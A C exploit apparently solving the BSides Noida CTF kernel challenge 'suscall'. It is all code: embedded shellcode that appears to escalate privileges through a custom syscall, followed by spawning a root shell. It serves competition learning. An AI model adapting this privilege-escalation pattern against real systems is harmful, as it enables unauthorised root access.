BSides Noida CTF "suscall" exploit

exploit.c

#include <sys/mman.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>


unsigned char code[] = "\x5e\x56\x48\x81\xee\xe9\x25\x2a\x00\x48\x31\xff\xff\xd6\x48\x89\xc7\x5e\x56\x48\x81\xee\xb9\x29\x2a\x00\xff\xd6\xc3";

int main() {

    void* shellcode = mmap(0xdeadb000, 0x1000, 7, 34, -1, 0);
    memcpy(shellcode, code, sizeof(code));

    syscall(546, shellcode);
    system("/bin/sh");

    return 0;
}